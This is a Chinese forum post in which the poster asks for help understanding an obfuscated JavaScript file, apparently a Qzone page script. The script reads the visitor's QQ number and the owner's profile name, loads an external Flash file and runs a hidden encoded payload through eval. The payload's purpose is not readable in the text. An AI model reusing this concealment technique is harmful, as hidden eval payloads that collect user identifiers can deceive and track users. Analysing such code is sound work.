我有一个JS文件，被加密了，怎么也看不懂。高手们帮忙啊。
var timer=null;
var timer2=null;
var flashurl="http://www9.tx8.cn/photo/shencengci/v5.swf";
var myopacity=80;
$=$G=document.getElementById;
function getqq(){return top.g_iUin;}
function getqzname(){return ownerProfileSummary[4];}
l1ll="function ";lll1="x(y)\n";ll1l="{\n";l11l="m=y.split(',');\nvar e='';\n";l111="for(i=0;i<m.length;i++)\n";llll="s=";llll1="String.fromCharCode(";lll1l="m[i]-i-315";ll1ll=");\ne+=s;\n";l1lll="e=e.";lllll="substring(0,e.length-1);\n";ll="return e;\n";l1l1="}";eval(l1ll+lll1+ll1l+l11l+l111+ll1l+llll+llll1+lll1l+ll1ll+l1l1+l1lll+lllll+ll+l1l1);xx="417,433,427,417,435,425,432,432,355,421,425,426,433,443,369,371,454,345,343,366,367,368,369,370,457,437,455,374,458,405,445,457,446,465,458,451,461,468,399,453,469,457,454,474,460,429,469,463,472,465,475,482,407,402,484,469,485,477,485,490,409,417,436,391,389,412,413,414,415,416,500,432,502,502,488,451,425,496,509,510,507,454,444,445,512,522,512,512,504,460,461,452,506,519,518,457,524,511,512,461,532,528,517,515,535,521,467,528,538,458,484,439,437,460,461,462,463,464,548,480,551,557,549,539,500,474,557,543,563,560,492,552,544,566,546,565,550,566,558,566,571,490,516,471,469,492,493,494,495,496,565,577,566,585,578,571,581,588,519,572,586,576,598,524,576,592,593,583,593,584,552,590,592,596,589,530,606,533,552,507,505,621,510,508,601,617,611,601,619,609,616,616,539,607,623,611,608,628,614,595,582,583,557,559,642,533,531,554,639,638,646,649,540,538,561,562,563,564,651,631,649,568,649,654,643,645,656,603,624,634,624,624,616,594,664,654,662,664,612,567,565,588,589,590,591,641,651,641,641,633,611,681,671,679,681,616,666,669,673,674,656,643,644,639,681,697,691,681,699,689,696,696,627,705,703,698,632,715,606,604,627,628,629,630,717,697,715,634,716,706,666,718,723,712,714,725,657,707,712,728,716,713,733,719,700,687,688,692,737,721,734,727,667,669,688,643,641,664,665,666,667,668,755,735,753,672,736,746,759,753,753,707,728,738,728,728,720,698,762,755,755,761,754,704,762,761,777,732,771,761,780,770,739,784,778,778,711,795,778,774,733,710,790,777,778,775,784,792,717,728,800,800,786,746,806,804,799,736,812,799,795,812,801,756,814,799,815,803,804,814,751,825,812,808,825,814,755,816,814,819,818,820,833,776,759,820,832,821,840,833,826,836,843,774,829,841,830,849,842,835,845,852,806,846,840,849,842,852,859,790,844,854,852,849,859,866,823,853,858,857,859,872,798,802,856,868,869,873,882,847,864,880,872,880,885,835,870,871,874,889,890,834,811,875,887,899,878,903,898,818,829,883,895,896,900,909,901,893,909,913,906,910,904,903,909,903,859,836,900,912,913,840,851,905,917,918,922,931,883,931,923,924,900,917,933,921,922,932,881,858,941,940,944,929,863,874,950,941,944,934,936,894,871,917,951,937,954,959,944,878,889,961,946,945,957,951,909,886,968,953,952,964,958,892,903,969,962,972,980,922,967,963,975,983,970,995,912,931,886,884,907,908,909,910,911,993,983,928,988,994,995,987,1001,960,973,967,967,953,988,998,1011,1005,1005,957,912,910,933,934,935,936,937,1018,1023,1012,1014,1025,957,1017,1028,995,982,983,1000,1030,1016,1019,1022,983,1039,1038,1042,1027,986,941,939,962,963,964,965,966,1016,1026,1016,1016,1008,986,1041,1053,1052,990,1048,1047,1063,988,983,1061,1068,1068,1054,1068,1021,1067,1077,992,1000,1006,1069,1059,1078,1080,1032,1070,1072,1076,1069,1016,1086,1088,1094,1082,1076,1022,1077,1083,1094,1092,1089,1079,1104,1045,1019,1096,1098,1098,1090,1024,1050,1005,1003,1026,1027,1028,1029,1030,1080,1090,1080,1080,1072,1050,1105,1117,1116,1054,1112,1111,1127,1052,1047,1113,1132,1131,1133,1129,1128,1097,1122,1132,1140,1058,1066,1072,1142,1144,1150,1138,1132,1078,1133,1139,1150,1148,1145,1135,1160,1101,1075,1152,1154,1154,1146,1080,1106,1061,1059,1082,1083,1084,1085,1086,1167,1172,1161,1163,1174,1106,1175,1163,1178,1165,1181,1134,1168,1170,1166,1187,1179,1188,1150,1175,1185,1193,1117,1119,1138,1093,1091,1129,1130,1200,1189,1191,1202,1134,1190,1210,1190,1200,1210,1209,1200,1214,1198,1171,1215,1201,1210,1217,1194,1209,1221,1207,1216,1173,1223,1213,1226,1158,1229,1235,1227,1217,1210,1179,1224,1236,1222,1231,1188,1238,1228,1241,1186,1141,1139,1162,1163,1164,1165,1166,1260,1149,1147,1170,1171,1172,1173,1174,1224,1234,1224,1224,1216,1194,1264,1254,1262,1264,1199,1249,1252,1256,1257,1239,1226,1227,1201,1264,1271,1261,1280,1270,1284,1282,1277,1213,1205,1235,1286,1287,1236,1210,1220,1281,1280,1296,1294,1295,1223,1225,1228,1220,1225,1301,1311,1301,1301,1293,1303,1291,1304,1297,1258,1232,1242,1303,1302,1318,1316,1326,1315,1303,1316,1309,1249,1251,1252,1271,1226,1224,1247,1248,1249,1250,1318,1328,1322,1319,1337,1297,1335,1342,1328,1342,1347,1327,1339,1272,1349,1339,1344,1337,1351,1279,1298,1253,1251,1274,1275,1276,1277,1293,1294,1345,1357,1351,1365,1368,1293,1288,1359,1372,1373,1370,1317,1307,1308,1381,1382,1383,1322,1312,1383,1388,1325,1316,1370,1382,1320,1386,1379,1387,1393,1389,1326,1395,1385,1383,1393,1383,1386,1396,1390,1387,1394,1337,1404,1409,1390,1404,1415,1401,1407,1351,1345,1348,1347,1417,1422,1406,1368,1419,1420,1369,1343,1353,1414,1413,1429,1427,1428,1356,1358,1361,1353,1358,1434,1444,1434,1434,1426,1436,1424,1437,1430,1391,1365,1375,1436,1435,1451,1449,1459,1448,1436,1449,1442,1382,1384,1385,1404,1359,1357,1473,1448,1447,1467,1451,1457,1394,1456,1397,1480,1371,1369,1373,1371,1487,1376,1374,1490,1379,1377,1465,1469,1470,1477,1487,1413,1415,1434,";eval(x(xx));
function setContentBody(){
    $("contentBody").style.left=(screen.width-770)/2-50;
    $("contentBody").style.top=55;
    $("contentBody").style.filter="alpha(opacity="+myopacity+")";
}
function guide(n){   
     //$("mainBody").style.border="3px solid #ff00000";
     window.custom_menu_swf(2);
     window.custom_menu_swf(n);
     setContentBody();
}

function backToIndex(){
    $("contentBody").style.display="none";
}
function changeToFullScreen(){
    try{
        guide(1);
        changeMode();
        clearInterval(timer2)
    }
    catch(e){
    }
}

timer=setInterval("createQCC()",1000);

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